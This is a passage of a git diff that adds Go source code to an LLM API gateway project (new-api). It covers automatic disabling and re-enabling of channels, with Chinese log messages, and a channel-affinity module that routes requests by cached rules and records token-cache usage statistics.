+	"github.com/QuantumNous/new-api/types"
+)
+
+func formatNotifyType(channelId int, status int) string {
+	return fmt.Sprintf("%s_%d_%d", dto.NotifyTypeChannelUpdate, channelId, status)
+}
+
+// disable & notify
+func DisableChannel(channelError types.ChannelError, reason string) {
+	common.SysLog(fmt.Sprintf("通道「%s」（#%d）发生错误，准备禁用，原因：%s", channelError.ChannelName, channelError.ChannelId, reason))
+
+	// 检查是否启用自动禁用功能
+	if !channelError.AutoBan {
+		common.SysLog(fmt.Sprintf("通道「%s」（#%d）未启用自动禁用功能，跳过禁用操作", channelError.ChannelName, channelError.ChannelId))
+		return
+	}
+
+	success := model.UpdateChannelStatus(channelError.ChannelId, channelError.UsingKey, common.ChannelStatusAutoDisabled, reason)
+	if success {
+		subject := fmt.Sprintf("通道「%s」（#%d）已被禁用", channelError.ChannelName, channelError.ChannelId)
+		content := fmt.Sprintf("通道「%s」（#%d）已被禁用，原因：%s", channelError.ChannelName, channelError.ChannelId, reason)
+		NotifyRootUser(formatNotifyType(channelError.ChannelId, common.ChannelStatusAutoDisabled), subject, content)
+	}
+}
+
+func EnableChannel(channelId int, usingKey string, channelName string) {
+	success := model.UpdateChannelStatus(channelId, usingKey, common.ChannelStatusEnabled, "")
+	if success {
+		subject := fmt.Sprintf("通道「%s」（#%d）已被启用", channelName, channelId)
+		content := fmt.Sprintf("通道「%s」（#%d）已被启用", channelName, channelId)
+		NotifyRootUser(formatNotifyType(channelId, common.ChannelStatusEnabled), subject, content)
+	}
+}
+
+func ShouldDisableChannel(err *types.NewAPIError) bool {
+	if !common.AutomaticDisableChannelEnabled {
+		return false
+	}
+	if err == nil {
+		return false
+	}
+	if types.IsChannelError(err) {
+		return true
+	}
+	if types.IsSkipRetryError(err) {
+		return false
+	}
+	if operation_setting.ShouldDisableByStatusCode(err.StatusCode) {
+		return true
+	}
+
+	lowerMessage := strings.ToLower(err.Error())
+	search, _ := AcSearch(lowerMessage, operation_setting.AutomaticDisableKeywords, true)
+	return search
+}
+
+func ShouldEnableChannel(newAPIError *types.NewAPIError, status int) bool {
+	if !common.AutomaticEnableChannelEnabled {
+		return false
+	}
+	if newAPIError != nil {
+		return false
+	}
+	if status != common.ChannelStatusAutoDisabled {
+		return false
+	}
+	return true
+}
diff --git a/new-api/service/channel_affinity.go b/new-api/service/channel_affinity.go
new file mode 100644
index 0000000..e09cb01
--- /dev/null
+++ b/new-api/service/channel_affinity.go
@@ -0,0 +1,966 @@
+package service
+
+import (
+	"fmt"
+	"hash/fnv"
+	"regexp"
+	"strconv"
+	"strings"
+	"sync"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/dto"
+	"github.com/QuantumNous/new-api/pkg/cachex"
+	"github.com/QuantumNous/new-api/setting/operation_setting"
+	"github.com/QuantumNous/new-api/types"
+	"github.com/gin-gonic/gin"
+	"github.com/samber/hot"
+	"github.com/tidwall/gjson"
+)
+
+const (
+	ginKeyChannelAffinityCacheKey   = "channel_affinity_cache_key"
+	ginKeyChannelAffinityTTLSeconds = "channel_affinity_ttl_seconds"
+	ginKeyChannelAffinityMeta       = "channel_affinity_meta"
+	ginKeyChannelAffinityLogInfo    = "channel_affinity_log_info"
+	ginKeyChannelAffinitySkipRetry  = "channel_affinity_skip_retry_on_failure"
+
+	channelAffinityCacheNamespace           = "new-api:channel_affinity:v1"
+	channelAffinityUsageCacheStatsNamespace = "new-api:channel_affinity_usage_cache_stats:v1"
+)
+
+var (
+	channelAffinityCacheOnce sync.Once
+	channelAffinityCache     *cachex.HybridCache[int]
+
+	channelAffinityUsageCacheStatsOnce  sync.Once
+	channelAffinityUsageCacheStatsCache *cachex.HybridCache[ChannelAffinityUsageCacheCounters]
+
+	channelAffinityRegexCache sync.Map // map[string]*regexp.Regexp
+)
+
+type channelAffinityMeta struct {
+	CacheKey       string
+	TTLSeconds     int
+	RuleName       string
+	SkipRetry      bool
+	ParamTemplate  map[string]interface{}
+	KeySourceType  string
+	KeySourceKey   string
+	KeySourcePath  string
+	KeyHint        string
+	KeyFingerprint string
+	UsingGroup     string
+	ModelName      string
+	RequestPath    string
+}
+
+type ChannelAffinityStatsContext struct {
+	RuleName       string
+	UsingGroup     string
+	KeyFingerprint string
+	TTLSeconds     int64
+}
+
+const (
+	cacheTokenRateModeCachedOverPrompt           = "cached_over_prompt"
+	cacheTokenRateModeCachedOverPromptPlusCached = "cached_over_prompt_plus_cached"
+	cacheTokenRateModeMixed                      = "mixed"
+)
+
+type ChannelAffinityCacheStats struct {
+	Enabled       bool           `json:"enabled"`
+	Total         int            `json:"total"`
+	Unknown       int            `json:"unknown"`
+	ByRuleName    map[string]int `json:"by_rule_name"`
+	CacheCapacity int            `json:"cache_capacity"`
+	CacheAlgo     string         `json:"cache_algo"`
+}
+
+func getChannelAffinityCache() *cachex.HybridCache[int] {
+	channelAffinityCacheOnce.Do(func() {
+		setting := operation_setting.GetChannelAffinitySetting()
+		capacity := setting.MaxEntries
+		if capacity <= 0 {
+			capacity = 100_000
+		}
+		defaultTTLSeconds := setting.DefaultTTLSeconds
+		if defaultTTLSeconds <= 0 {
+			defaultTTLSeconds = 3600
+		}
+
+		channelAffinityCache = cachex.NewHybridCache[int](cachex.HybridCacheConfig[int]{
+			Namespace: cachex.Namespace(channelAffinityCacheNamespace),
+			Redis:     common.RDB,
+			RedisEnabled: func() bool {
+				return common.RedisEnabled && common.RDB != nil
+			},
+			RedisCodec: cachex.IntCodec{},
+			Memory: func() *hot.HotCache[string, int] {
+				return hot.NewHotCache[string, int](hot.LRU, capacity).
+					WithTTL(time.Duration(defaultTTLSeconds) * time.Second).
+					WithJanitor().
+					Build()
+			},
+		})
+	})
+	return channelAffinityCache
+}
+
+func GetChannelAffinityCacheStats() ChannelAffinityCacheStats {
+	setting := operation_setting.GetChannelAffinitySetting()
+	if setting == nil {
+		return ChannelAffinityCacheStats{
+			Enabled:    false,
+			Total:      0,
+			Unknown:    0,
+			ByRuleName: map[string]int{},
+		}
+	}
+
+	cache := getChannelAffinityCache()
+	mainCap, _ := cache.Capacity()
+	mainAlgo, _ := cache.Algorithm()
+
+	rules := setting.Rules
+	ruleByName := make(map[string]operation_setting.ChannelAffinityRule, len(rules))
+	for _, r := range rules {
+		name := strings.TrimSpace(r.Name)
+		if name == "" {
+			continue
+		}
+		if !r.IncludeRuleName {
+			continue
+		}
+		ruleByName[name] = r
+	}
+
+	byRuleName := make(map[string]int, len(ruleByName))
+	for name := range ruleByName {
+		byRuleName[name] = 0
+	}
+
+	keys, err := cache.Keys()
+	if err != nil {
+		common.SysError(fmt.Sprintf("channel affinity cache list keys failed: err=%v", err))
+		keys = nil
+	}
+	total := len(keys)
+	unknown := 0
+	for _, k := range keys {
+		prefix := channelAffinityCacheNamespace + ":"
+		if !strings.HasPrefix(k, prefix) {
+			unknown++
+			continue
+		}
+		rest := strings.TrimPrefix(k, prefix)
+		parts := strings.Split(rest, ":")
+		if len(parts) < 2 {
+			unknown++
+			continue
+		}
+		ruleName := parts[0]
+		rule, ok := ruleByName[ruleName]
+		if !ok {
+			unknown++
+			continue
+		}
+		if rule.IncludeModelName {
+			if len(parts) < 3 {
+				unknown++
+				continue
+			}
+		}
+		if rule.IncludeUsingGroup {
+			minParts := 3
+			if rule.IncludeModelName {
+				minParts = 4
+			}
+			if len(parts) < minParts {
+				unknown++
+				continue
+			}
+		}
+		byRuleName[ruleName]++
+	}
+
+	return ChannelAffinityCacheStats{
+		Enabled:       setting.Enabled,
+		Total:         total,
+		Unknown:       unknown,
+		ByRuleName:    byRuleName,
+		CacheCapacity: mainCap,
+		CacheAlgo:     mainAlgo,
+	}
+}
+
+func ClearChannelAffinityCacheAll() int {
+	cache := getChannelAffinityCache()
+	keys, err := cache.Keys()
+	if err != nil {
+		common.SysError(fmt.Sprintf("channel affinity cache list keys failed: err=%v", err))
+		keys = nil
+	}
+	if len(keys) > 0 {
+		if _, err := cache.DeleteMany(keys); err != nil {
+			common.SysError(fmt.Sprintf("channel affinity cache delete many failed: err=%v", err))
+		}
+	}
+	return len(keys)
+}
+
+func ClearChannelAffinityCacheByRuleName(ruleName string) (int, error) {
+	ruleName = strings.TrimSpace(ruleName)
+	if ruleName == "" {
+		return 0, fmt.Errorf("rule_name 不能为空")
+	}
+
+	setting := operation_setting.GetChannelAffinitySetting()
+	if setting == nil {
+		return 0, fmt.Errorf("channel_affinity_setting 未初始化")
+	}
+
+	var matchedRule *operation_setting.ChannelAffinityRule
+	for i := range setting.Rules {
+		r := &setting.Rules[i]
+		if strings.TrimSpace(r.Name) != ruleName {
+			continue
+		}
+		matchedRule = r
+		break
+	}
+	if matchedRule == nil {
+		return 0, fmt.Errorf("未知规则名称")
+	}
+	if !matchedRule.IncludeRuleName {
+		return 0, fmt.Errorf("该规则未启用 include_rule_name，无法按规则清空缓存")
+	}
+
+	cache := getChannelAffinityCache()
+	deleted, err := cache.DeleteByPrefix(ruleName)
+	if err != nil {
+		return 0, err
+	}
+	return deleted, nil
+}
+
+func matchAnyRegexCached(patterns []string, s string) bool {
+	if len(patterns) == 0 || s == "" {
+		return false
+	}
+	for _, pattern := range patterns {
+		if pattern == "" {
+			continue
+		}
+		re, ok := channelAffinityRegexCache.Load(pattern)
+		if !ok {
+			compiled, err := regexp.Compile(pattern)
+			if err != nil {
+				continue
+			}
+			re = compiled
+			channelAffinityRegexCache.Store(pattern, re)
+		}
+		if re.(*regexp.Regexp).MatchString(s) {
+			return true
+		}
+	}
+	return false
+}
+
+func matchAnyIncludeFold(patterns []string, s string) bool {
+	if len(patterns) == 0 || s == "" {
+		return false
+	}
+	sLower := strings.ToLower(s)
+	for _, p := range patterns {
+		p = strings.TrimSpace(p)
+		if p == "" {
+			continue
+		}
+		if strings.Contains(sLower, strings.ToLower(p)) {
+			return true
+		}
+	}
+	return false
+}
+
+func extractChannelAffinityValue(c *gin.Context, src operation_setting.ChannelAffinityKeySource) string {
+	switch src.Type {
+	case "context_int":
+		if src.Key == "" {
+			return ""
+		}
+		v := c.GetInt(src.Key)
+		if v <= 0 {
+			return ""
+		}
+		return strconv.Itoa(v)
+	case "context_string":
+		if src.Key == "" {
+			return ""
+		}
+		return strings.TrimSpace(c.GetString(src.Key))
+	case "gjson":
+		if src.Path == "" {
+			return ""
+		}
+		storage, err := common.GetBodyStorage(c)
+		if err != nil {
+			return ""
+		}
+		body, err := storage.Bytes()
+		if err != nil || len(body) == 0 {
+			return ""
+		}
+		res := gjson.GetBytes(body, src.Path)
+		if !res.Exists() {
+			return ""
+		}
+		switch res.Type {
+		case gjson.String, gjson.Number, gjson.True, gjson.False:
+			return strings.TrimSpace(res.String())
+		default:
+			return strings.TrimSpace(res.Raw)
+		}
+	default:
+		return ""
+	}
+}
+
+func buildChannelAffinityCacheKeySuffix(rule operation_setting.ChannelAffinityRule, modelName string, usingGroup string, affinityValue string) string {
+	parts := make([]string, 0, 4)
+	if rule.IncludeRuleName && rule.Name != "" {
+		parts = append(parts, rule.Name)
+	}
+	if rule.IncludeModelName && modelName != "" {
+		parts = append(parts, modelName)
+	}
+	if rule.IncludeUsingGroup && usingGroup != "" {
+		parts = append(parts, usingGroup)
+	}
+	parts = append(parts, affinityValue)
+	return strings.Join(parts, ":")
+}
+
+func setChannelAffinityContext(c *gin.Context, meta channelAffinityMeta) {
+	c.Set(ginKeyChannelAffinityCacheKey, meta.CacheKey)
+	c.Set(ginKeyChannelAffinityTTLSeconds, meta.TTLSeconds)
+	c.Set(ginKeyChannelAffinityMeta, meta)
+}
+
+func getChannelAffinityContext(c *gin.Context) (string, int, bool) {
+	keyAny, ok := c.Get(ginKeyChannelAffinityCacheKey)
+	if !ok {
+		return "", 0, false
+	}
+	key, ok := keyAny.(string)
+	if !ok || key == "" {
+		return "", 0, false
+	}
+	ttlAny, ok := c.Get(ginKeyChannelAffinityTTLSeconds)
+	if !ok {
+		return key, 0, true
+	}
+	ttlSeconds, _ := ttlAny.(int)
+	return key, ttlSeconds, true
+}
+
+func getChannelAffinityMeta(c *gin.Context) (channelAffinityMeta, bool) {
+	anyMeta, ok := c.Get(ginKeyChannelAffinityMeta)
+	if !ok {
+		return channelAffinityMeta{}, false
+	}
+	meta, ok := anyMeta.(channelAffinityMeta)
+	if !ok {
+		return channelAffinityMeta{}, false
+	}
+	return meta, true
+}
+
+func GetChannelAffinityStatsContext(c *gin.Context) (ChannelAffinityStatsContext, bool) {
+	if c == nil {
+		return ChannelAffinityStatsContext{}, false
+	}
+	meta, ok := getChannelAffinityMeta(c)
+	if !ok {
+		return ChannelAffinityStatsContext{}, false
+	}
+	ruleName := strings.TrimSpace(meta.RuleName)
+	keyFp := strings.TrimSpace(meta.KeyFingerprint)
+	usingGroup := strings.TrimSpace(meta.UsingGroup)
+	if ruleName == "" || keyFp == "" {
+		return ChannelAffinityStatsContext{}, false
+	}
+	ttlSeconds := int64(meta.TTLSeconds)
+	if ttlSeconds <= 0 {
+		return ChannelAffinityStatsContext{}, false
+	}
+	return ChannelAffinityStatsContext{
+		RuleName:       ruleName,
+		UsingGroup:     usingGroup,
+		KeyFingerprint: keyFp,
+		TTLSeconds:     ttlSeconds,
+	}, true
+}
+
+func affinityFingerprint(s string) string {
+	if s == "" {
+		return ""
+	}
+	hex := common.Sha1([]byte(s))
+	if len(hex) >= 8 {
+		return hex[:8]
+	}
+	return hex
+}
+
+func buildChannelAffinityKeyHint(s string) string {
+	s = strings.TrimSpace(s)
+	if s == "" {
+		return ""
+	}
+	s = strings.ReplaceAll(s, "\n", " ")
+	s = strings.ReplaceAll(s, "\r", " ")
+	if len(s) <= 12 {
+		return s
+	}
+	return s[:4] + "..." + s[len(s)-4:]
+}
+
+func cloneStringAnyMap(src map[string]interface{}) map[string]interface{} {
+	if len(src) == 0 {
+		return map[string]interface{}{}
+	}
+	dst := make(map[string]interface{}, len(src))
+	for k, v := range src {
+		dst[k] = v
+	}
+	return dst
+}
+
+func mergeChannelOverride(base map[string]interface{}, tpl map[string]interface{}) map[string]interface{} {
+	if len(base) == 0 && len(tpl) == 0 {
+		return map[string]interface{}{}
+	}
+	if len(tpl) == 0 {
+		return base
+	}
+	out := cloneStringAnyMap(base)
+	for k, v := range tpl {
+		if strings.EqualFold(strings.TrimSpace(k), "operations") {
+			baseOps, hasBaseOps := extractParamOperations(out[k])
+			tplOps, hasTplOps := extractParamOperations(v)
+			if hasTplOps {
+				if hasBaseOps {
+					out[k] = append(tplOps, baseOps...)
+				} else {
+					out[k] = tplOps
+				}
+				continue
+			}
+		}
+		if _, exists := out[k]; exists {
+			continue
+		}
+		out[k] = v
+	}
+	return out
+}
+
+func extractParamOperations(value interface{}) ([]interface{}, bool) {
+	switch ops := value.(type) {
+	case []interface{}:
+		if len(ops) == 0 {
+			return []interface{}{}, true
+		}
+		cloned := make([]interface{}, 0, len(ops))
+		cloned = append(cloned, ops...)
+		return cloned, true
+	case []map[string]interface{}:
+		cloned := make([]interface{}, 0, len(ops))
+		for _, op := range ops {
+			cloned = append(cloned, op)
+		}
+		return cloned, true
+	default:
+		return nil, false
+	}
+}
+
+func appendChannelAffinityTemplateAdminInfo(c *gin.Context, meta channelAffinityMeta) {
+	if c == nil {
+		return
+	}
+	if len(meta.ParamTemplate) == 0 {
+		return
+	}
+
+	templateInfo := map[string]interface{}{
+		"applied":             true,
+		"rule_name":           meta.RuleName,
+		"param_override_keys": len(meta.ParamTemplate),
+	}
+	if anyInfo, ok := c.Get(ginKeyChannelAffinityLogInfo); ok {
+		if info, ok := anyInfo.(map[string]interface{}); ok {
+			info["override_template"] = templateInfo
+			c.Set(ginKeyChannelAffinityLogInfo, info)
+			return
+		}
+	}
+	c.Set(ginKeyChannelAffinityLogInfo, map[string]interface{}{
+		"reason":            meta.RuleName,
+		"rule_name":         meta.RuleName,
+		"using_group":       meta.UsingGroup,
+		"model":             meta.ModelName,
+		"request_path":      meta.RequestPath,
+		"key_source":        meta.KeySourceType,
+		"key_key":           meta.KeySourceKey,
+		"key_path":          meta.KeySourcePath,
+		"key_hint":          meta.KeyHint,
+		"key_fp":            meta.KeyFingerprint,
+		"override_template": templateInfo,
+	})
+}
+
+// ApplyChannelAffinityOverrideTemplate merges per-rule channel override templates onto the selected channel override config.
+func ApplyChannelAffinityOverrideTemplate(c *gin.Context, paramOverride map[string]interface{}) (map[string]interface{}, bool) {
+	if c == nil {
+		return paramOverride, false
+	}
+	meta, ok := getChannelAffinityMeta(c)
+	if !ok {
+		return paramOverride, false
+	}
+	if len(meta.ParamTemplate) == 0 {
+		return paramOverride, false
+	}
+
+	mergedParam := mergeChannelOverride(paramOverride, meta.ParamTemplate)
+	appendChannelAffinityTemplateAdminInfo(c, meta)
+	return mergedParam, true
+}
+
+func GetPreferredChannelByAffinity(c *gin.Context, modelName string, usingGroup string) (int, bool) {
+	setting := operation_setting.GetChannelAffinitySetting()
+	if setting == nil || !setting.Enabled {
+		return 0, false
+	}
+	path := ""
+	if c != nil && c.Request != nil && c.Request.URL != nil {
+		path = c.Request.URL.Path
+	}
+	userAgent := ""
+	if c != nil && c.Request != nil {
+		userAgent = c.Request.UserAgent()
+	}
+
+	for _, rule := range setting.Rules {
+		if !matchAnyRegexCached(rule.ModelRegex, modelName) {
+			continue
+		}
+		if len(rule.PathRegex) > 0 && !matchAnyRegexCached(rule.PathRegex, path) {
+			continue
+		}
+		if len(rule.UserAgentInclude) > 0 && !matchAnyIncludeFold(rule.UserAgentInclude, userAgent) {
+			continue
+		}
+		var affinityValue string
+		var usedSource operation_setting.ChannelAffinityKeySource
+		for _, src := range rule.KeySources {
+			affinityValue = extractChannelAffinityValue(c, src)
+			if affinityValue != "" {
+				usedSource = src
+				break
+			}
+		}
+		if affinityValue == "" {
+			continue
+		}
+		if rule.ValueRegex != "" && !matchAnyRegexCached([]string{rule.ValueRegex}, affinityValue) {
+			continue
+		}
+
+		ttlSeconds := rule.TTLSeconds
+		if ttlSeconds <= 0 {
+			ttlSeconds = setting.DefaultTTLSeconds
+		}
+		cacheKeySuffix := buildChannelAffinityCacheKeySuffix(rule, modelName, usingGroup, affinityValue)
+		cacheKeyFull := channelAffinityCacheNamespace + ":" + cacheKeySuffix
+		setChannelAffinityContext(c, channelAffinityMeta{
+			CacheKey:       cacheKeyFull,
+			TTLSeconds:     ttlSeconds,
+			RuleName:       rule.Name,
+			SkipRetry:      rule.SkipRetryOnFailure,
+			ParamTemplate:  cloneStringAnyMap(rule.ParamOverrideTemplate),
+			KeySourceType:  strings.TrimSpace(usedSource.Type),
+			KeySourceKey:   strings.TrimSpace(usedSource.Key),
+			KeySourcePath:  strings.TrimSpace(usedSource.Path),
+			KeyHint:        buildChannelAffinityKeyHint(affinityValue),
+			KeyFingerprint: affinityFingerprint(affinityValue),
+			UsingGroup:     usingGroup,
+			ModelName:      modelName,
+			RequestPath:    path,
+		})
+
+		cache := getChannelAffinityCache()
+		channelID, found, err := cache.Get(cacheKeySuffix)
+		if err != nil {
+			common.SysError(fmt.Sprintf("channel affinity cache get failed: key=%s, err=%v", cacheKeyFull, err))
+			return 0, false
+		}
+		if found {
+			return channelID, true
+		}
+		return 0, false
+	}
+	return 0, false
+}
+
+func ShouldSkipRetryAfterChannelAffinityFailure(c *gin.Context) bool {
+	if c == nil {
+		return false
+	}
+	v, ok := c.Get(ginKeyChannelAffinitySkipRetry)
+	if ok {
+		b, ok := v.(bool)
+		if ok {
+			return b
+		}
+	}
+	meta, ok := getChannelAffinityMeta(c)
+	if !ok {
+		return false
+	}
+	return meta.SkipRetry
+}
+
+func MarkChannelAffinityUsed(c *gin.Context, selectedGroup string, channelID int) {
+	if c == nil || channelID <= 0 {
+		return
+	}
+	meta, ok := getChannelAffinityMeta(c)
+	if !ok {
+		return
+	}
+	c.Set(ginKeyChannelAffinitySkipRetry, meta.SkipRetry)
+	info := map[string]interface{}{
+		"reason":         meta.RuleName,
+		"rule_name":      meta.RuleName,
+		"using_group":    meta.UsingGroup,
+		"selected_group": selectedGroup,
+		"model":          meta.ModelName,
+		"request_path":   meta.RequestPath,
+		"channel_id":     channelID,
+		"key_source":     meta.KeySourceType,
+		"key_key":        meta.KeySourceKey,
+		"key_path":       meta.KeySourcePath,
+		"key_hint":       meta.KeyHint,
+		"key_fp":         meta.KeyFingerprint,
+	}
+	c.Set(ginKeyChannelAffinityLogInfo, info)
+}
+
+func AppendChannelAffinityAdminInfo(c *gin.Context, adminInfo map[string]interface{}) {
+	if c == nil || adminInfo == nil {
+		return
+	}
+	anyInfo, ok := c.Get(ginKeyChannelAffinityLogInfo)
+	if !ok || anyInfo == nil {
+		return
+	}
+	adminInfo["channel_affinity"] = anyInfo
+}
+
+func RecordChannelAffinity(c *gin.Context, channelID int) {
+	if channelID <= 0 {
+		return
+	}
+	setting := operation_setting.GetChannelAffinitySetting()
+	if setting == nil || !setting.Enabled {
+		return
+	}
+	if setting.SwitchOnSuccess && c != nil {
+		if successChannelID := c.GetInt("channel_id"); successChannelID > 0 {
+			channelID = successChannelID
+		}
+	}
+	cacheKey, ttlSeconds, ok := getChannelAffinityContext(c)
+	if !ok {
+		return
+	}
+	if ttlSeconds <= 0 {
+		ttlSeconds = setting.DefaultTTLSeconds
+	}
+	if ttlSeconds <= 0 {
+		ttlSeconds = 3600
+	}
+	cache := getChannelAffinityCache()
+	if err := cache.SetWithTTL(cacheKey, channelID, time.Duration(ttlSeconds)*time.Second); err != nil {
+		common.SysError(fmt.Sprintf("channel affinity cache set failed: key=%s, err=%v", cacheKey, err))
+	}
+}
+
+type ChannelAffinityUsageCacheStats struct {
+	RuleName            string `json:"rule_name"`
+	UsingGroup          string `json:"using_group"`
+	KeyFingerprint      string `json:"key_fp"`
+	CachedTokenRateMode string `json:"cached_token_rate_mode"`
+
+	Hit           int64 `json:"hit"`
+	Total         int64 `json:"total"`
+	WindowSeconds int64 `json:"window_seconds"`
+
+	PromptTokens         int64 `json:"prompt_tokens"`
+	CompletionTokens     int64 `json:"completion_tokens"`
+	TotalTokens          int64 `json:"total_tokens"`
+	CachedTokens         int64 `json:"cached_tokens"`
+	PromptCacheHitTokens int64 `json:"prompt_cache_hit_tokens"`
+	LastSeenAt           int64 `json:"last_seen_at"`
+}
+
+type ChannelAffinityUsageCacheCounters struct {
+	CachedTokenRateMode string `json:"cached_token_rate_mode"`
+
+	Hit           int64 `json:"hit"`
+	Total         int64 `json:"total"`
+	WindowSeconds int64 `json:"window_seconds"`
+
+	PromptTokens         int64 `json:"prompt_tokens"`
+	CompletionTokens     int64 `json:"completion_tokens"`
+	TotalTokens          int64 `json:"total_tokens"`
+	CachedTokens         int64 `json:"cached_tokens"`
+	PromptCacheHitTokens int64 `json:"prompt_cache_hit_tokens"`
+	LastSeenAt           int64 `json:"last_seen_at"`
+}
+
+var channelAffinityUsageCacheStatsLocks [64]sync.Mutex
+
+// ObserveChannelAffinityUsageCacheByRelayFormat records usage cache stats with a stable rate mode derived from relay format.
+func ObserveChannelAffinityUsageCacheByRelayFormat(c *gin.Context, usage *dto.Usage, relayFormat types.RelayFormat) {
+	ObserveChannelAffinityUsageCacheFromContext(c, usage, cachedTokenRateModeByRelayFormat(relayFormat))
+}
+
+func ObserveChannelAffinityUsageCacheFromContext(c *gin.Context, usage *dto.Usage, cachedTokenRateMode string) {
+	statsCtx, ok := GetChannelAffinityStatsContext(c)
+	if !ok {
+		return
+	}
+	observeChannelAffinityUsageCache(statsCtx, usage, cachedTokenRateMode)
+}
+
+func GetChannelAffinityUsageCacheStats(ruleName, usingGroup, keyFp string) ChannelAffinityUsageCacheStats {
+	ruleName = strings.TrimSpace(ruleName)
+	usingGroup = strings.TrimSpace(usingGroup)
+	keyFp = strings.TrimSpace(keyFp)
+
+	entryKey := channelAffinityUsageCacheEntryKey(ruleName, usingGroup, keyFp)
+	if entryKey == "" {
+		return ChannelAffinityUsageCacheStats{
+			RuleName:       ruleName,
+			UsingGroup:     usingGroup,
+			KeyFingerprint: keyFp,
+		}
+	}
+
+	cache := getChannelAffinityUsageCacheStatsCache()
+	v, found, err := cache.Get(entryKey)
+	if err != nil || !found {
+		return ChannelAffinityUsageCacheStats{
+			RuleName:       ruleName,
+			UsingGroup:     usingGroup,
+			KeyFingerprint: keyFp,
+		}
+	}
+	return ChannelAffinityUsageCacheStats{
+		CachedTokenRateMode:  v.CachedTokenRateMode,
+		RuleName:             ruleName,
+		UsingGroup:           usingGroup,
+		KeyFingerprint:       keyFp,
+		Hit:                  v.Hit,
+		Total:                v.Total,
+		WindowSeconds:        v.WindowSeconds,
+		PromptTokens:         v.PromptTokens,
+		CompletionTokens:     v.CompletionTokens,
+		TotalTokens:          v.TotalTokens,
+		CachedTokens:         v.CachedTokens,
+		PromptCacheHitTokens: v.PromptCacheHitTokens,
+		LastSeenAt:           v.LastSeenAt,
+	}
+}
+
+func observeChannelAffinityUsageCache(statsCtx ChannelAffinityStatsContext, usage *dto.Usage, cachedTokenRateMode string) {
+	entryKey := channelAffinityUsageCacheEntryKey(statsCtx.RuleName, statsCtx.UsingGroup, statsCtx.KeyFingerprint)
+	if entryKey == "" {
+		return
+	}
+
+	windowSeconds := statsCtx.TTLSeconds
+	if windowSeconds <= 0 {
+		return
+	}
+
+	cache := getChannelAffinityUsageCacheStatsCache()
+	ttl := time.Duration(windowSeconds) * time.Second
+
+	lock := channelAffinityUsageCacheStatsLock(entryKey)
+	lock.Lock()
+	defer lock.Unlock()
+
+	prev, found, err := cache.Get(entryKey)
+	if err != nil {
+		return
+	}
+	next := prev
+	if !found {
+		next = ChannelAffinityUsageCacheCounters{}
+	}
+	currentMode := normalizeCachedTokenRateMode(cachedTokenRateMode)
+	if currentMode != "" {
+		if next.CachedTokenRateMode == "" {
+			next.CachedTokenRateMode = currentMode
+		} else if next.CachedTokenRateMode != currentMode && next.CachedTokenRateMode != cacheTokenRateModeMixed {
+			next.CachedTokenRateMode = cacheTokenRateModeMixed
+		}
+	}
+	next.Total++
+	hit, cachedTokens, promptCacheHitTokens := usageCacheSignals(usage)
+	if hit {
+		next.Hit++
+	}
+	next.WindowSeconds = windowSeconds
+	next.LastSeenAt = time.Now().Unix()
+	next.CachedTokens += cachedTokens
+	next.PromptCacheHitTokens += promptCacheHitTokens
+	next.PromptTokens += int64(usagePromptTokens(usage))
+	next.CompletionTokens += int64(usageCompletionTokens(usage))
+	next.TotalTokens += int64(usageTotalTokens(usage))
+	_ = cache.SetWithTTL(entryKey, next, ttl)
+}
+
+func normalizeCachedTokenRateMode(mode string) string {
+	switch mode {
+	case cacheTokenRateModeCachedOverPrompt:
+		return cacheTokenRateModeCachedOverPrompt
+	case cacheTokenRateModeCachedOverPromptPlusCached:
+		return cacheTokenRateModeCachedOverPromptPlusCached
+	case cacheTokenRateModeMixed:
+		return cacheTokenRateModeMixed
+	default:
+		return ""
+	}
+}
+
+func cachedTokenRateModeByRelayFormat(relayFormat types.RelayFormat) string {
+	switch relayFormat {
+	case types.RelayFormatOpenAI, types.RelayFormatOpenAIResponses, types.RelayFormatOpenAIResponsesCompaction:
+		return cacheTokenRateModeCachedOverPrompt
+	case types.RelayFormatClaude:
+		return cacheTokenRateModeCachedOverPromptPlusCached
+	default:
+		return ""
+	}
+}
+
+func channelAffinityUsageCacheEntryKey(ruleName, usingGroup, keyFp string) string {
+	ruleName = strings.TrimSpace(ruleName)
+	usingGroup = strings.TrimSpace(usingGroup)
+	keyFp = strings.TrimSpace(keyFp)
+	if ruleName == "" || keyFp == "" {
+		return ""
+	}
+	return ruleName + "\n" + usingGroup + "\n" + keyFp
+}
+
+func usageCacheSignals(usage *dto.Usage) (hit bool, cachedTokens int64, promptCacheHitTokens int64) {
+	if usage == nil {
+		return false, 0, 0
+	}
+
+	cached := int64(0)
+	if usage.PromptTokensDetails.CachedTokens > 0 {
+		cached = int64(usage.PromptTokensDetails.CachedTokens)
+	} else if usage.InputTokensDetails != nil && usage.InputTokensDetails.CachedTokens > 0 {
+		cached = int64(usage.InputTokensDetails.CachedTokens)
+	}
+	pcht := int64(0)
+	if usage.PromptCacheHitTokens > 0 {
+		pcht = int64(usage.PromptCacheHitTokens)
+	}
+	return cached > 0 || pcht > 0, cached, pcht
+}
+
+func usagePromptTokens(usage *dto.Usage) int {
+	if usage == nil {
+		return 0
+	}
+	if usage.PromptTokens > 0 {
+		return usage.PromptTokens
+	}
+	return usage.InputTokens
+}
+
+func usageCompletionTokens(usage *dto.Usage) int {
+	if usage == nil {
+		return 0
+	}
+	if usage.CompletionTokens > 0 {
+		return usage.CompletionTokens
+	}
+	return usage.OutputTokens
+}
+
+func usageTotalTokens(usage *dto.Usage) int {
+	if usage == nil {
+		return 0
+	}
+	if usage.TotalTokens > 0 {
+		return usage.TotalTokens
+	}
+	pt := usagePromptTokens(usage)
+	ct := usageCompletionTokens(usage)
+	if pt > 0 || ct > 0 {
+		return pt + ct
+	}
+	return 0
+}
+
+func getChannelAffinityUsageCacheStatsCache() *cachex.HybridCache[ChannelAffinityUsageCacheCounters] {
+	channelAffinityUsageCacheStatsOnce.Do(func() {
+		setting := operation_setting.GetChannelAffinitySetting()
+		capacity := 100_000
+		defaultTTLSeconds := 3600
+		if setting != nil {
+			if setting.MaxEntries > 0 {
+				capacity = setting.MaxEntries
+			}
+			if setting.DefaultTTLSeconds > 0 {
+				defaultTTLSeconds = setting.DefaultTTLSeconds
+			}
+		}
+
+		channelAffinityUsageCacheStatsCache = cachex.NewHybridCache[ChannelAffinityUsageCacheCounters](cachex.HybridCacheConfig[ChannelAffinityUsageCacheCounters]{
+			Namespace: cachex.Namespace(channelAffinityUsageCacheStatsNamespace),
+			Redis:     common.RDB,
+			RedisEnabled: func() bool {
+				return common.RedisEnabled && common.RDB != nil
+			},
